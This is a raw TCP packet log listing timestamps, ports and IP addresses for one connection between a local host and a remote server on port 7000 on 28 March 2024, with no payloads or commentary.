Mar 28, 2024 10:25:39.820142031 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.820177078 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.820190907 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.820210934 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.820230961 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.820244074 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.820255041 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.820276022 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.820278883 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.820322990 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.820342064 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.820353985 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.820362091 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.820399046 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.828355074 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.828397036 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.828413963 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.828425884 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.828442097 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.828453064 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.828466892 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.828480005 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.828516960 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.828530073 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.828533888 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.828545094 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.828568935 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.828574896 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.828588963 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.828613997 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.828613997 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.828650951 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.828669071 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.828700066 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.828713894 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.828742981 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.828747034 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.828783035 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.828798056 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.828828096 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.828888893 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.918519020 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.932106972 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.932122946 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.932157040 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.932168961 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.932205915 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.932264090 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.932329893 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.932375908 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.932389021 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.932455063 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.932499886 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.932518005 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.932555914 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.932621002 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.932655096 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.932689905 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.932732105 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.932815075 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.932893991 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.932930946 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.932965994 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.933069944 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.933109045 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.933152914 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.933234930 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.933273077 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.933305979 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.933391094 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.933429003 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.933451891 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.933510065 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.933547020 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.933557987 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.933614016 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.933635950 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.933650970 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.933723927 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.933762074 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.933763981 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.933826923 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.933861017 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.933868885 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.933919907 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.933959961 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.933968067 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.933994055 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.934031010 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.934056044 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.934112072 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.934154034 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.934185982 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.934288025 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.934323072 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.934391022 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.934477091 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.934511900 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.934545040 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.988683939 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.036546946 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.036621094 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.036667109 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.036675930 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.036741972 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.036784887 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.036806107 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.036861897 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.036901951 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.036911964 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.036982059 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.037033081 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.037050962 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.037102938 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.037142038 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.037163973 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.037245989 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.037286997 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.037307024 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.037358046 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.037400007 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.037427902 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.037494898 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.037537098 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.037548065 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.037604094 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.037643909 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.037692070 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.037842989 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.037880898 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.037942886 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.038024902 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.038069010 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.038090944 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.038116932 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.038158894 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.038192034 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.038280964 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.038319111 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.038324118 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.038378000 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.038417101 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.038439035 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.038495064 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.038544893 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.038566113 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.038621902 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.038664103 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.038686991 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.038767099 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.038819075 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.038847923 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.038909912 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.038924932 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.038959026 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.039022923 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.039067030 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.119913101 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.160593033 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.162827015 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.162847996 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.162863016 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.162883997 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.162916899 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.162925959 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.162941933 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.162952900 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.162957907 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.162987947 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.163031101 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.163043976 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.163069963 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.163079023 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.163116932 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.163120985 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.163158894 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.163173914 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.163202047 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.163224936 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.163244009 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.163247108 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.163295031 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.163309097 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.163343906 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.163377047 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.163393021 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.163419008 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.163443089 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.163485050 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.163499117 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.163512945 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.163526058 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.163547039 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.163551092 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.163588047 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.163614035 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.163629055 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.163642883 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.163666010 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.163681984 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.163698912 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.163716078 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.163729906 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.163746119 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.163760900 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.163765907 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.163803101 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.163811922 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.163849115 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.163863897 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.163898945 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.163922071 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.163937092 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.163966894 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.163971901 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.164011002 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.277102947 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.277121067 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.277134895 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.277179003 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.277218103 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.277220011 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.277256012 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.277256012 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.277271986 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.277286053 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.277299881 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.277318001 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.277327061 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.277333021 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.277364016 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.277368069 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.277375937 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.277406931 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.277441025 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.277461052 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.277473927 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.277509928 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.284441948 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.284456015 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.284470081 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.284499884 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.284514904 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.284518003 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.284528971 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.284550905 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.284558058 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.284569025 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.284607887 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.468882084 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.468898058 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.468939066 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.468954086 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.468997002 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.469016075 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.469031096 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.469038963 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.469046116 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.469059944 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.469096899 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.469116926 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.469119072 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.469132900 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.469146013 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.469171047 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.469180107 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.469186068 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.469211102 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.469228983 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.469243050 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.469279051 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.469300032 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.469310045 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.469317913 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.469320059 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.469341993 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.469353914 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.469379902 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.469393015 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.469405890 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.469440937 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.469453096 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.469465971 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.469485044 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.469500065 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.469525099 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.469525099 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.469541073 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.469559908 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.469588995 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.469619036 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.469626904 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.469643116 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.469656944 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.469692945 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.469710112 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.469723940 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.469738960 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.469750881 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.469763994 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.469774008 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.469795942 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.469826937 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.469834089 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.469861031 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.469897985 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.469914913 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.519931078 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.573098898 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.573117018 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.573160887 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.573174000 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.573227882 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.573246956 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.573262930 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.573297024 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.573302031 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.573332071 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.573385000 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.573390961 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.573420048 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.573441982 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.573465109 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.573503017 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.573523998 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.573540926 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.573569059 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.573609114 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.573620081 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.573677063 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.573690891 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.573718071 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.573734045 CET	7000	49713	104.194.9.116	192.168.2.7
